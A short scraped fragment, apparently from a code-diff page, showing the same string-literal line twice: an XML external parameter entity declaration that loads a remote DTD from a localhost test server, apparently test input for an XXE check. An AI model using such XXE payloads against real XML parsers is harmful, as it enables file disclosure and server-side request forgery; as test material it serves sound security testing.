"<!ENTITY % remote SYSTEM \"http://localhost:8081/files/test.dtd\">" +
|
"<!ENTITY % remote SYSTEM \"http://localhost:8081/files/test.dtd\">" +
|
||||||
|
Loading…
x
Reference in New Issue
Block a user